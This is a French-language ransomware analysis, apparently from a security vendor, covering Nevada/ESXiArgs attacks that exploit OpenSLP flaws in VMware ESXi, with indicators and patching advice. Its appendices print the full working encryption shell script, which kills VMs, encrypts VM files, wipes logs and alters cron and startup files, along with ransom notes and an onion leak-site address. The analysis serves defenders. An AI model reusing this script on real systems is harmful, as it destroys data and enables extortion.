VMware ESXi dans la ligne de mire des ransomwares

Les serveurs exécutant le célèbre hyperviseur de virtualisation VMware ESXi ont été ciblés par au moins un groupe de ransomwares au cours de la semaine dernière. Ces attaques proviendraient d’un balayage visant à identifier les hôtes présentant des vulnérabilités dans le protocole OpenSLP (Open Service Location Protocol).

Les rapports suggèrent plus précisément que les cybercriminels ont tiré parti des vulnérabilités CVE-2020-3992 et CVE-2021-21974 sur les systèmes dépourvus de correctifs afin d’exécuter du code à distance.

« Après avoir localisé et exploité un hôte vulnérable, ils exécutent une charge utile malveillante qui modifie la configuration d’ESXi avant de chiffrer les fichiers associés aux machines virtuelles et déposer une demande de rançon spécifique à la victime contenant des informations sur la procédure de paiement. »

Bien que cette demande de rançon suggère que les données ont été volées, cette information reste à confirmer. En outre, aucun code de transfert de fichier n’apparaît dans les échantillons observés. Cependant, tout hacker ayant la possibilité d’exécuter du code sur une machine compromise peut facilement utiliser des outils prêts à l’emploi pour exfiltrer les données avant le chiffrement.

Parmi les incidents observés jusqu’à présent, un groupe de ransomware-as-a-service (RaaS), connu sous le nom de Nevada, qui serait actif depuis fin 2022, semble responsable d’un grand nombre de ces récentes attaques. Cependant, sa demande de rançon présente de nombreuses similitudes avec Cheerscrypt, un ransomware qui visait ESXi entre le début et le milieu de l’année 2022.

Étant donné que ces attaques constituent une menace permanente, nous recommandons vivement aux entreprises qui utilisent les versions 7.x et antérieures de VMware ESXi de s’assurer que leurs installations sont correctement patchées en cas d’urgence.

Le ransomware Nevada

En règle générale, Nevada serait associé aux attaques contre les serveurs VMware ESXi vulnérables. Le réseau qui se cache derrière cette menace mènerait une activité de balayage généralisée pour identifier les hôtes VMware ESXi qui présentent des failles CVE-2020-3992 et/ou CVE-2021-21974 à l’aide de ces adresses IP :

43.130.10[.]173 
104.152.52[.]55 
193.163.125[.]138

À l’instar d’autres RaaS, Nevada a déjà fait de la publicité sur des forums de cybercriminalité pour recruter des affiliés. En échange de la charge utile et des instructions pour la déployer, le groupe prend une commission de 10 à 15 % sur toute demande de rançon payée. Cette dernière varie selon le statut de l’affilié.

D’après ses propres messages sur ce forum, le réseau cybercriminel fournit aux affiliés une charge utile dite « locker » (chiffrement), écrite en Rust, qui affecte les hôtes Linux, Windows et VMware ESXi. Ce dernier a par ailleurs été particulièrement visé par le balayage des vulnérabilités et les campagnes de ransomware.

Grâce à cette charge utile de chiffrement multi-thread, Nevada déclare utiliser le chiffrement AES et la cryptographie à courbe elliptique (ECC) pour chiffrer les fichiers des victimes dans des « bandes » qui rendent les données inaccessibles tout en maintenant des performances élevées et en réduisant le temps nécessaire au processus de chiffrement.

En plus de fournir la charge utile exploitée pour chiffrer les données de ses victimes, les affiliés ont accès à un panneau de configuration pour négocier les rançons.

Vulnérabilités

Voici les failles de VMware ESXi (liées au déploiement d’OpenSLP) exploitées dans le cadre de ces attaques :

• CVE-2020-3992
• CVE-2021-21974

Les entreprises doivent commencer par suivre les recommandations des avis de sécurité publiés par VMware et s’assurer que leurs installations sont équipées de correctifs, en particulier s’ils exploitent les versions 6.5 et 6.7 d’ESXi, prises en charge par leur fournisseur. En effet, la fin de la prise en charge générale de ces installations était prévue pour octobre 2022.

Le cas échéant, les informations relatives à la solution de contournement qui permet de désactiver le service SLP sont précisées dans l’article 76372 de la base de connaissances VMware.

CVE-2020-3992

Comme mentionné dans l’avis de sécurité VMSA-2020-0023.3 publié par VMware, une faille OpenSLP « use-after-free » pourrait être exploitée par un attaquant pouvant accéder à un hôte ESXi via le port 427 afin d’exécuter du code à distance.

Bien que la mise en œuvre de ces recommandations limite l’accès à ce port à partir d’hôtes spécifiques au sein d’un réseau de gestion, les attaquants qui opèrent au sein d’un réseau compromis ou les hôtes ESXi exposés par inadvertance à Internet pourraient créer une situation permettant d’exploiter cette vulnérabilité à distance.

Avec un score CVSS v3 de 9,8, cette faille est considérée comme critique et affecte les versions 6.5, 6.7 et 7.0 du serveur.

CVE-2021-21974

Comme mentionné dans l’avis de sécurité VMSA-2020-002 publié par VMWare, une vulnérabilité OpenSLP « use-after-free » pourrait être exploitée par un acteur malveillant pouvant accéder à un hôte ESXi via le port 427 afin d’exécuter du code à distance.

Comme dans le précédent scénario, le hacker doit se trouver dans le même réseau que l’hôte ESXi. Cependant, les hôtes exposés par inadvertance, tels que ceux recherchés par les cybercriminels dans le cadre de ces attaques, peuvent également être exploités.

Bien qu’elle soit moins grave que la vulnérabilité CVE-2020-3992, elle a obtenu un score CVSS v3 de 8,8 et est donc considérée comme critique. Elle affecte les versions 6.5, 6.7 et 7.0 du serveur.

Charge utile du ransomware

Un outil de chiffrement compatible avec Linux (encrypt) et un script shell associé (encrypt.sh) imputables à Nevada ont été identifiés sur des hôtes VMware ESXi compromis. Ils ont été utilisés pour chiffrer les fichiers des machines virtuelles.

Outre ces deux fichiers, le script shell indique que les fichiers suivants seront également présents sur un hôte compromis :

• index.html : demande de rançon utilisée pour remplacer les pages de gestion de VMware ESXi
• motd : demande de rançon qui s’affiche au démarrage/lorsque le système se connecte
• public.pem : clé publique utilisée pour le chiffrement
• archieve.zip : archive contenant potentiellement la charge utile du ransomware

Arrêt de la machine virtuelle

Avant de lancer la phase de chiffrement, le script shell du ransomware utilise esxcli, l’interface en ligne de commande intégrée, pour identifier le fichier de configuration de chaque machine virtuelle.

Dans chacun de ces fichiers, les noms de disque virtuel (.vmdk) et de swap virtuel (.vswp) seront précédés du chiffre 1. Par exemple, myvirtualmachine.vmdk deviendrait myvirtualmachine1.vmdk :

for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do 

  echo "FIND CONFIG: $config_file" 

  sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file" 

done 

Cette action augmente le délai et la complexité de la reprise. En effet, les fichiers de configuration devront tous être reconstitués afin de correspondre aux chemins corrects.

Après avoir modifié les fichiers de configuration, chaque machine virtuelle est identifiée en recherchant la sortie de la liste des processus en cours d’exécution et en mettant fin à tout processus contenant la chaîne « vmx » :

kill -9 $(ps | grep vmx | awk '{print $2}')

Chiffrement

Après avoir interrompu de force toutes les machines virtuelles, en veillant à ce que les fichiers ciblés ne soient pas verrouillés, le script shell passe à la phase de chiffrement et commence par accorder les autorisations d’exécution à la charge utile de chiffrement :

chmod +x $CLEAN_DIR/encrypt

À l’aide de l’interface en ligne de commande d’ESXi, le script parcourt une liste de volumes de systèmes de fichiers de machines virtuelles à la recherche des fichiers suivants :

• .vmdk : conteneur de disque virtuel
• .vmx : configuration principale
• .vmxf : configuration secondaire
• .vmsd : métadonnées de l’instantané
• .vmsn : instantané enregistré
• .vswp : mémoire de substitution
• .vmss : suspension
• .nvram : CMOS/BIOS
• .vmem : pagination de la mémoire

La taille des fichiers trouvés lors de ce processus est calculée afin de déterminer comment ils seront traités. Notez que les fichiers inférieurs à 128 Mo sont intégralement chiffrés et ceux supérieurs à cette taille sont chiffrés par « étape ».

Cette dernière se calcule en divisant la taille du fichier en Mo par 100, puis en soustrayant la valeur suivante :

if [[ $(($size_kb/1024)) -gt 128 ]]; then 

  size_step=$((($size_kb/1024/100)-1)) 

fi 

Compte tenu du volume des fichiers associés aux machines virtuelles, cette approche rendra la plupart des fichiers inaccessibles sans qu’il soit nécessaire de chiffrer l’intégralité des données.

Avant d’exécuter le processus de chiffrement, les arguments de la ligne de commande sont enregistrés dans un fichier texte correspondant au fichier « cible » actuel avec une extension de fichier .args. Par exemple : myvirtualmachine1.vmdk.args :

echo $size_step 1 $((size_kb*1024)) > "$file_e.args"

Cette opération est censée faciliter le processus de déchiffrement en enregistrant la taille de l’étape de chiffrement.

À l’aide des arguments calculés pour la taille de l’étape et en indiquant le fichier de clé publique public.pem, la charge utile de chiffrement est exécutée à l’aide de la commande nohup « no hang up » afin de s’assurer que le processus continue de fonctionner même si le hacker se déconnecte :

nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1& 

L’exécution de la charge utile chiffrée sans aucun paramètre nous apporte un éclairage :

utilisation : encrypt   [] [] [] 

 enc_step : nombre de Mo à ignorer lors du chiffrement 

 enc_size : nombre de Mo dans le bloc de chiffrement 

 file_size : taille du fichier en octets (pour les fichiers fragmentés) 

Demandes de rançon

Une fois la phase de chiffrement terminée, le script shell recherche dans /usr/lib/vmware les fichiers nommés index.html puis, après avoir renommé les fichiers d’origine (index1.html), il dépose un index.html de remplacement contenant la demande de rançon :

for file_ui in $(find /usr/lib/vmware -type f -name index.html); do 

  path_to_ui=$(dirname $file_ui) 

  echo "FIND UI: $path_to_ui" 

  mv "$path_to_ui/index.html" "$path_to_ui/index1.html" 

  cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html" 

done 

À ce stade, tout administrateur qui tente d’accéder à l’interface d’administration ESXi recevra une note de rançon (Figure 1) contenant une adresse de portefeuille Bitcoin propre à la victime.

Les emplacements potentiels pour ces fichiers index.html sont les suivants :

/usr/lib/vmware/hostd/docroot 

/usr/lib/vmware/hostd/docroot/ui/ 

De plus, pour s’assurer que tout administrateur se connectant à l’hôte ESXi compromis via la console ou à l’aide du protocole SSH voit la demande de rançon, le fichier du message du jour (motd) est également renommé et remplacé :

mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd

Similitudes des demandes de rançon

Comme nous l’avons déjà évoqué, le contenu des demandes de rançon identifié lors de ces récentes attaques est similaire à celui utilisé par le ransomware Cheerscrypt, une menace qui ciblait également les serveurs VMware ESXi et qui a été observée pour la première fois au deuxième trimestre 2022.

Salut ! 

 

-------------------------------------------------------------------------------- 

 

-------------------------------------------------------------------------------- 

 

Alerte sécurité!!!  

Nous avons réussi à pirater votre entreprise. 

Nous avons dérobé et chiffré tous vos fichiers. 

Si vous voulez les restaurer ou éviter une fuite de données, veuillez nous contacter. 

 

 -------------------------------------------------------------------------------- 

 

 Attention !!!  

Contactez-nous dans les 3 jours, sinon certaines données seront exposées et la rançon sera plus élevée. 

N’essayez pas de déchiffrer des fichiers critiques, car vous pourriez les endommager. 

Ne faites pas confiance à ceux qui disent qu’ils en sont capables, ils mentent. Personne ne peut y parvenir sans fichier clé. 

Si vous ne nous contactez pas, nous enverrons des e-mails et des SMS à vos clients pour les informer de la fuite de données. 

Nous vendrons ​​également vos données à vos concurrents ou à des criminels. Nous pouvons également les diffuser publiquement. 

 

 -------------------------------------------------------------------------------- 

 

Informations 

 

 Chat sur le site Web

Vous pouvez consulter ce site et nous contacter par l’intermédiaire des widgets ou obtenir notre adresse e-mail sur ： 

hXXp://.oignon  

 

Site sur lequel les données sont divulguées  

Si vous ne payez pas et que personne ne veut acheter vos données, elles apparaîtront ici :  

hXXp://rwiajgajdr4kzlnrj5zwebbukpcbrjhupjmk6gufxv6tg7myx34iocad.onion  

 

 

-------------------------------------------------------------------------------- 

 

Avis  

Comment accéder aux URL avec le suffixe onion ?  

hXXps://www.comparitech[.]com/blog/vpn-privacy/access-dark-web-safely-vpn/  

 

Vous pouvez aussi regarder cette vidéo :  

hXXps://www.youtube[.]com/watch?v=4pIi9yTWuRw  

Bien qu’il puisse s’agir d’un plagiat, force est de constater que les groupes de ransomwares sont connus pour opérer sous divers noms.

Au vu de la demande de rançon de Cheerscrypt et des rapports précédents sur son activité, le réseau cybercriminel a utilisé la stratégie dite de « double extorsion » et a partagé des données volées sur son site hébergé sur Tor.

En revanche, il n’existe actuellement aucune preuve démontrant que Nevada a procédé à l’exfiltration de données, bien que cette hypothèse soit envisageable.

Disposez, en moins de 24 heures, d’une vue clair sur les risques des données les plus importantes et d’un parcours clair vers la remédiation automatisée.

Commencez votre évaluation gratuite

Recommandations

Par conséquent, les entreprises qui utilisent VMware ESXi doivent s’assurer que leurs installations sont patchées et à jour conformément aux directives du développeur.

Celles qui utilisent les versions 6.5 et 6.7 doivent vérifier la prise en charge de leurs installations étant donné que la fin de leur prise en charge générale est prévue pour octobre 2022.

Nous vous recommandons de désactiver ou de restreindre l’accès au port 427, en particulier à partir de réseaux non fiables.

Si vous avez besoin d’un accès à distance aux hôtes ESXi, placez-les dans un réseau uniquement accessible après avoir été préalablement authentifié sur un VPN.

Assurez-vous qu’ils sont régulièrement sauvegardés, de préférence hors ligne, et que les procédures de reprise après sinistre sont solides et éprouvées.

Recovery

The US Cybersecurity and Infrastructure Security Agency (CISA) has released a recovery script for victims of ESXiArgs ransomware attacks.

The recovery script is available from CISA's Github at https://github.com/cisagov/ESXiArgs-Recover

Indices de compromission

Voici les indicateurs de compromission (IOC) liés à cette menace :

Remarque : des hachages cryptographiques SHA256 ont été identifiés pour le fichier encrypt.sh, même s’ils semblent provenir de nouvelles lignes ou de différences d’espacement. Bien que plusieurs versions puissent exister, le contenu principal reste le même et ces légères variations pourraient provenir d’échantillons ouverts et enregistrés sur différents systèmes d’exploitation.

En outre, les journaux peuvent afficher les tentatives d’accès ou l’activité de balayage à partir des adresses IP suivantes :

43.130.10[.]173 

104.152.52[.]55 

193.163.125[.]138 

Ces dernières ont été associées au balayage des vulnérabilités. Par conséquent, il pourrait s’agir d’hôtes nuisibles à long terme utilisés par différents réseaux de cybercriminalité.

Annexe A — Script shell de chiffrement

#!/bin/sh 

CLEAN_DIR="/tmp/" 

 

# SET LIMITS 

 

ulimit -p $(ulimit -Hp) 

ulimit -n $(ulimit -Hn) 

 

## CHANGE CONFIG 

 

for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do 

  echo "FIND CONFIG: $config_file" 

  sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file" 

done 

 

## STOP VMX 

echo "KILL VMX" 

kill -9 $(ps | grep vmx | awk '{print $2}') 

 

## ENCRYPT 

 

chmod +x $CLEAN_DIR/encrypt 

 

for volume in $(IFS='\n' esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F'  ' '{print $2}'); do 

  echo "START VOLUME: $volume" 

  IFS=$'\n' 

  for file_e in $( find "/vmfs/volumes/$volume/" -type f -name "*.vmdk" -o -name "*.vmx" -o -name "*.vmxf" -o -name "*.vmsd" -o -name "*.vmsn" -o -name "*.vswp" -o -name "*.vmss" -o -name "*.nvram" -o -name "*.vmem"); do 

      if [[ -f "$file_e" ]]; then 

        size_kb=$(du -k $file_e | awk '{print $1}') 

        if [[ $size_kb -eq 0 ]]; then 

          size_kb=1 

        fi 

        size_step=0 

        if [[ $(($size_kb/1024)) -gt 128 ]]; then 

          size_step=$((($size_kb/1024/100)-1)) 

        fi 

        echo "START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step" "\"$file_e\" $size_step 1 $((size_kb*1024))" 

        echo $size_step 1 $((size_kb*1024)) > "$file_e.args" 

        nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1& 

      fi 

  done 

  IFS=$" " 

done 

 

## INDEX.HTML 

CLEAN_DIR="/tmp/" 

IFS=$'\n' 

for file_ui in $(find /usr/lib/vmware -type f -name index.html); do 

  path_to_ui=$(dirname $file_ui) 

  echo "FIND UI: $path_to_ui" 

  mv "$path_to_ui/index.html" "$path_to_ui/index1.html" 

  cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html" 

done 

IFS=$' ' 

 

## SSH HI 

 

mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd 

 

## DELETE 

echo "START DELETE" 

 

/bin/find / -name *.log -exec /bin/rm -rf {} \; 

 

A=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l) 

while [[ $A -ne 0 ]]; 

do 

  /bin/echo "Waiting for task' completion... ($A)" 

  /bin/sleep 0.1 

  A=$(/bin/ps | /bin/grep encrypt  | /bin/grep -v grep | /bin/wc -l) 

done 

 

if [ -f "/sbin/hostd-probe.bak" ]; 

then 

  /bin/rm -f /sbin/hostd-probe 

  /bin/mv /sbin/hostd-probe.bak /sbin/hostd-probe 

  /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /sbin/hostd-probe 

fi 

 

B=$(/bin/vmware -l | /bin/grep " 7." | /bin/wc -l) 

if [[ $B -ne 0 ]]; 

then 

  /bin/chmod +w /var/spool/cron/crontabs/root 

  /bin/sed '$d' /var/spool/cron/crontabs/root > /var/spool/cron/crontabs/root.1 

  /bin/sed '1,8d' /var/spool/cron/crontabs/root.1 > /var/spool/cron/crontabs/root.2 

  /bin/rm -f /var/spool/cron/crontabs/root /var/spool/cron/crontabs/root.1 

  /bin/mv /var/spool/cron/crontabs/root.2 /var/spool/cron/crontabs/root 

  /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /var/spool/cron/crontabs/root 

  /bin/chmod -w /var/spool/cron/crontabs/root 

fi 

 

if [[ $B -eq 0 ]]; 

then 

  /bin/sed '1d' /bin/hostd-probe.sh > /bin/hostd-probe.sh.1 && /bin/mv /bin/hostd-probe.sh.1 /bin/hostd-probe.sh 

fi 

 

/bin/rm -f /store/packages/vmtools.py 

/bin/sed '$d' /etc/vmware/rhttpproxy/endpoints.conf > /etc/vmware/rhttpproxy/endpoints.conf.1 && /bin/mv /etc/vmware/rhttpproxy/endpoints.conf.1 /etc/vmware/rhttpproxy/endpoints.conf 

/bin/echo '' > /etc/rc.local.d/local.sh 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh 

 

/bin/rm -f $CLEAN_DIR"encrypt" $CLEAN_DIR"nohup.out" $CLEAN_DIR"index.html" $CLEAN_DIR"motd" $CLEAN_DIR"public.pem" $CLEAN_DIR"archieve.zip" 

 

/bin/sh /bin/auto-backup.sh 

/bin/rm -- "$0" 

 

/etc/init.d/SSH start 

Annexe B — Demande de rançon au format HTML

  <html lang="en"> 

  <head> 
  
      <title>Comment restaurer vos fichiers</title> 
  
  </head> 
  
  <body> 
  
   
  
  <h1>Comment restaurer vos fichiers</h1> 
  
   
  
  <p><strong><u>Alerte de sécurité !!!</u></strong></p> 
  
  <p>Nous avons réussi à pirater votre entreprise.</p> 
  
  <p>Nous avons dérobé et chiffré tous vos fichiers.</p> 
  
  <p>Si vous voulez les restaurer ou éviter une fuite de données, merci de transférer <b>&lt;RANSOM_AMOUNT_IN_BTC&gt;</b> bitcoins sur le portefeuille <b>&lt;WALLET_ADDRESS&gt;</b>.</p> 
  
  <p>Si la transaction est effectuée, la clé de chiffrement sera disponible à l’adresse <b>TOX_ID: &lt;THREAT_ACTOR_TOX_ID&gt;</b>.</p> 
  
   
  
  <p><strong><u>Attention !!!</u></strong></p> 
  
  <p>Vous devez transférer les fonds sous 3 jours. Dans le cas contraire, certaines données seront exposées et la rançon sera plus élevée.</p> 
  
  <p>N’essayez pas de déchiffrer des fichiers importants, vous pourriez les endommager.</p> 
  
  <p>Ne faites pas confiance à ceux qui disent qu’ils en sont capables, ce sont des menteurs, personne ne peut y parvenir sans le fichier clé.</p> 
  
  <p>Si vous ne transférez pas les fonds, nous informerons vos clients par e-mail et par SMS que leurs données ont fuité.</p> 
  
  <p>Nous vendrons également vos données à vos concurrents ou à des criminels, et certaines pourront être rendues publiques.</p> 
  
   
  
  <p><strong><u>Note</u></strong></p> 
  
  <p>SSH est activé.</p> 
  
  <p>Le pare-feu est désactivé.</p> 
  
   
  
  <br> 
  
  </body> 
  
  </html>